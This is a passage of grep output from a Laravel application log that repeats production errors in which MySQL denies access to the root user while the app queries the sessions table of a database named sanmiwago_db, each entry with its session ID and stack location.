127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = DcrrwJYg3i9M1TweEhyzAbnUSKojddvHHIHZRMOs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-24 03:07:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ALeDu0CGQkDRZd75QKoKbdPmTxm6JvAzIY9CO944 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ALeDu0CGQkDRZd75QKoKbdPmTxm6JvAzIY9CO944 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-24 18:44:13] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tdF1wN0ybmsHuK6C1je7PjdxFLCJDiz9y2MwyRXq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tdF1wN0ybmsHuK6C1je7PjdxFLCJDiz9y2MwyRXq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-24 21:56:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RALp206PEOARfSmkduLRUMuOamslZddmmSP8vVbm limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RALp206PEOARfSmkduLRUMuOamslZddmmSP8vVbm limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-25 01:23:22] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eEeB9D8IiQ0TmuELc8ORfFNHfK7R2YoIqbyGPpJQ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eEeB9D8IiQ0TmuELc8ORfFNHfK7R2YoIqbyGPpJQ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-25 13:10:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qsomANYKsVZ8SdU1DtQY346YN0iplci4FvWoeNLS limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = qsomANYKsVZ8SdU1DtQY346YN0iplci4FvWoeNLS limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-26 04:13:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AaHnYUWDMFWsCdAop1RsgQ3cUxAGoOwrceKddmRV limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AaHnYUWDMFWsCdAop1RsgQ3cUxAGoOwrceKddmRV limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-26 10:34:21] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4CtiBC0dwmpqSxd8AF2bc5B7hGSWaGNvSEumKBk2 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 4CtiBC0dwmpqSxd8AF2bc5B7hGSWaGNvSEumKBk2 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-26 13:45:52] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5tAvLn2q166hO93qr626BpO6dC0JSL5iBo7ba2yz limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 5tAvLn2q166hO93qr626BpO6dC0JSL5iBo7ba2yz limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-26 13:50:08] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nFBOGSG4lYOmET2hiylRRUbGbyUX9FIbzaLE8UwN limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = nFBOGSG4lYOmET2hiylRRUbGbyUX9FIbzaLE8UwN limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-27 17:10:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sPzpByfKS0iIJIgKDeYJ0W4kjuPX3ZeSc7QzOewH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = sPzpByfKS0iIJIgKDeYJ0W4kjuPX3ZeSc7QzOewH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-27 17:42:39] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kN637sgUe8prj4yw8AJ6J5xkGCkHwifIfK9yD0qc limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = kN637sgUe8prj4yw8AJ6J5xkGCkHwifIfK9yD0qc limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-28 03:40:32] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bTLXzguzBO6HQId6KJXaKYsrEvUkjbpmbUz8bqBs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = bTLXzguzBO6HQId6KJXaKYsrEvUkjbpmbUz8bqBs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-28 03:40:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AbfBlcDW9oH1uPBVwyxvk0pU0k1Z8uPkYxMaR9vK limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = AbfBlcDW9oH1uPBVwyxvk0pU0k1Z8uPkYxMaR9vK limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-28 03:40:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ALUxnS337vBvgXCbTK9JVyJTFoPzIGUD3cOrELVs limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = ALUxnS337vBvgXCbTK9JVyJTFoPzIGUD3cOrELVs limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-28 03:40:45] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XdJNfJUihchRcP3M0cM7jFZOL27EYApix2dJ0kqQ limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = XdJNfJUihchRcP3M0cM7jFZOL27EYApix2dJ0kqQ limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-02-28 10:18:06] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Rf4LkVFtPMum11wA9ooXXN2p7djKlE0LgfFY56DH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Rf4LkVFtPMum11wA9ooXXN2p7djKlE0LgfFY56DH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-01 21:37:03] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tGji7sylVcTpmD5WJL074VbWSNtZgW4WKY8OUvw6 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = tGji7sylVcTpmD5WJL074VbWSNtZgW4WKY8OUvw6 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-02 02:22:17] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = H8VkxLHyP76BUSDtceeHHfWGAr2Vuzh1WjMTCXed limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = H8VkxLHyP76BUSDtceeHHfWGAr2Vuzh1WjMTCXed limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-05 10:08:16] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eEjm94piENYp9A846aEcNAAd3UkKtW7t3fveOsc5 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = eEjm94piENYp9A846aEcNAAd3UkKtW7t3fveOsc5 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-05 11:39:44] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uVnoAeksstgdbITOG4njrTt32xPGxsxBZbpAX11R limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = uVnoAeksstgdbITOG4njrTt32xPGxsxBZbpAX11R limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-06 13:06:35] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = k9MgtfljggktN0g619BEf25vLcgKSh6pwKbhkLRE limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = k9MgtfljggktN0g619BEf25vLcgKSh6pwKbhkLRE limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-06 13:07:41] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RNozO98TBkJj7aWAHjPhvAsnsDxLN3zNfITKwgWD limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = RNozO98TBkJj7aWAHjPhvAsnsDxLN3zNfITKwgWD limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-06 13:08:02] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mySGz5oBn5leVJwuDvjrMjCtL7oMItd8hXau8WZE limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = mySGz5oBn5leVJwuDvjrMjCtL7oMItd8hXau8WZE limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-08 16:41:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0wesGtQLPnpIywwMpanBwIF3EGiuNqyp8ARj6kev limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = 0wesGtQLPnpIywwMpanBwIF3EGiuNqyp8ARj6kev limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-08 18:09:49] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Wcg4AvlaUNYo0iruMMQTwsybeHu0BvzjDrJrootq limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Wcg4AvlaUNYo0iruMMQTwsybeHu0BvzjDrJrootq limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-08 19:35:57] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NGl5EKUrkeQjdBePQUQUkVXchatXqTACyy5J7L0D limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = NGl5EKUrkeQjdBePQUQUkVXchatXqTACyy5J7L0D limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-08 22:27:25] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Wdqv6k5pXa2T7tmDoQuduW04yqHvKoEgjQgqyLFH limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = Wdqv6k5pXa2T7tmDoQuduW04yqHvKoEgjQgqyLFH limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-09 10:57:47] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QKJ9Qj1AEA2EaDPyIYi1S0x1D4CCsBVTR4rkSl8F limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = QKJ9Qj1AEA2EaDPyIYi1S0x1D4CCsBVTR4rkSl8F limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-10 05:40:43] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OVwD4OBslNhUhgfr0LpMH7dG6UyMQnjpESpZvij1 limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = OVwD4OBslNhUhgfr0LpMH7dG6UyMQnjpESpZvij1 limit 1) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connection.php:831) ./storage/logs/laravel.log:[previous exception] [object] (PDOException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) at /var/www/html/vendor/laravel/framework/src/Illuminate/Database/Connectors/Connector.php:66) ./storage/logs/laravel.log:[2026-03-10 10:53:03] production.ERROR: SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: select * from `sessions` where `id` = A2FEBGcfCrZ32VXpoYLsBMYDS3Dcgq2U0dk4UMbh limit 1) {"exception":"[object] (Illuminate\\Database\\QueryException(code: 1045): SQLSTATE[HY000] [1045] Access denied for user 'root'@'localhost' (using password: YES) (Connection: mysql, Host: 127.0.0.1, Port: 3306, Database: sanmiwago_db, SQL: 